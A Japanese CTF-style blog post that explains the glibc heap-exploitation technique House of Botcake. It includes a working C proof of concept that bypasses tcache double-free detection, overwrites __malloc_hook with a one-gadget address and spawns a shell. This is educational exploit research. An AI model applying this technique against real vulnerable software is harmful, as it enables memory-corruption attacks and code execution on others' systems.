newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 28.0】 House of Botcake

 

 

 

 

 

1: イントロ

ある夜中に pwn の問題を作ろうとウトウトしながら過去のexploit手法を漁っていた

いくつか作りたい問題のアイディアこそ挙げていたのだが、その中にtcacheを題材としたものがあった

 

libc2.28 から tcache には新しく key というメンバが追加され、 free() されるとそこに tcache のアドレスが代入されるようになった

同時に free() の際には key の値をチェックし、もしこれがtcacheのアドレスと同一であった場合には double free としてエラーを吐くというような検知機構になっている

(厳密には key は free() 前にはユーザランドに存在し、 1/2^64 の確率で tcache のアドレスと一致してしまうため、仮に free() 時に偶然にも key==tcache となっていた場合には tcache のエントリを全探索して他のbinのような double free 検知を行うようにしてある。 キャッシュ効率を高める tcache の原理に反しているように思えるが、その再現確率の低さとtcacheの最大サイズが7であることによる全探索のコストの低さを考慮したものと思われる)

 

これ故に double free で chunk を tcache に繋げることは以前より難しくなっている

この機構をbypassする問題がなにか作れないかなぁと思い

モンスターを飲みながら、以前書いたブログの下書きである「既に使えなくなったpwn exploit一覧と現状」というエントリを見直していた

 

丁度 House of Einherjar を復習していた

これは _int_free() における back consolidation に於いて prev_size と PREV_INUSE を改変するというテクニックであるのは赤子から老人まで万人が知ることである

 

この back consolidation を利用して tcache 関連の問題を作れないかと考えて

深夜1時にアイディアを思いつき PoC を書いたところ

libc 2.29 環境下に於いて free済み chunk を tcache に繋ぎ

更にその fd を任意に書き換えることで AAW を実現することができた

 

 

こりゃあいいと思い、ブログを書く準備をしていたところ・・・

 

 

 

 

 

 

 

 

 

 

 

 

既出!

 

既出!!!!!

 

 

 

既出!!!!!!!!!!!

 

 

 

 

 

 

 

 

 

 

 

名前までご丁寧につけられていて House of Botcake と言うそうです

 

 

 

 

2: House of Botcake

 how2heap の commit 履歴に依ると、 2020年2月に公開された模様

 

できること

AAW

 

制約

・ 2種類のサイズの malloc()。 そのうち一つのサイズに対しては 9回 malloc() ができること

・ プログラムのロジック的に一度だけ double free が可能なこと

 

 

手法とPoC

 おそらく House of xxx 系では一番シンプルだと思われる

 

まずは PoC が以下の通り

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define WAIT while(fgetc(stdin)!='\n');
#define ull unsigned long long

ull ogs[3] = {0xc1710,0xdf202,0xdf20e};


int main(int argc,char *argv)
{
  // for the simplicity, let me gather some libc information
  ull libcbase = (ull)stdout -0x3b4760;
  ull malloc_hook = 0x3b3c30 + libcbase;

  // House of Botcake
  ull *a[7];
  for(int ix=0;ix!=7;++ix) //just to fulfill tcache
    a[ix] = malloc(0x90);
  ull *b = malloc(0x90); //invoke consolidation
  ull *c = malloc(0x90);
  ull *d = malloc(0x90); //avoid consolidation

  for(int ix=0;ix!=7;++ix)
    free(a[ix]);
  free(c);
  free(b); //invoke back-consolidation and overwrite c's key

  a[0] = malloc(0x90); // make space for c
  free(c); // connected to tcache. its key is no longer &tcache

  a[0] = malloc(0x120); // picked from unsortedbin and contains c in it
  *(ull*)(((ull)a[0]) + 0x90 + 0x10) = malloc_hook;

  a[1] = malloc(0x90);
  a[1] = malloc(0x90);
  *a[1] = (ull)(libcbase + ogs[0]);

  malloc(0x300); // invoke onegadget and get shell

  return 0;  
}

 

 殆どコメントに付してある通りである

 

 

まず最初にtcacheを満員にする用7つ、 back consolidation用2つ、 avoid consolidation用1つのchunkを確保しておく

 

その後7つのchunkを free() して tcache を満員にする

 

その後 C を free() すると、 これはunsortedに入るため bk (key) には main_arena のアドレスが入る

その後 B を free() すると、back consolidationが起こり BとC が合体する

 

この際 C のメタ情報は消去されずに、 大きな chunk に包含されるかたちで取り残される

この取り残された C に対して再び malloc() をしてやると

key のチェックでは入っている値が &tcache ではなく &main_arena であるから double free の検知には引っかからず C は tcache に繋がれることになる

 

しかも、その後任意のサイズ(>0x90)の malloc() をすることで B+C の unsorted から chunk が切り出されるのだが

それにより C の fd を任意の値に書き換えることができて AAW となる

 

 

 

 

 

実際に PoC を動かしてみると

 

f:id:smallkirby:20200318042608p:plain

tcache に繋がっているのは 0x555555757760 の chunk であるが

 

f:id:smallkirby:20200318042709p:plain

これは 0x5555557576b0 の chunk(=B+C) に包含されていることが分かる

 

 

手元の環境では __malloc_hook overwrite で onegadget に飛ばせることを確認した

 

 

 

 

 

3: アウトロ

 自分のアイディアなんて5億年前に誰かが既にやっとる

 

 

 

 

 

 

 

 

 

続く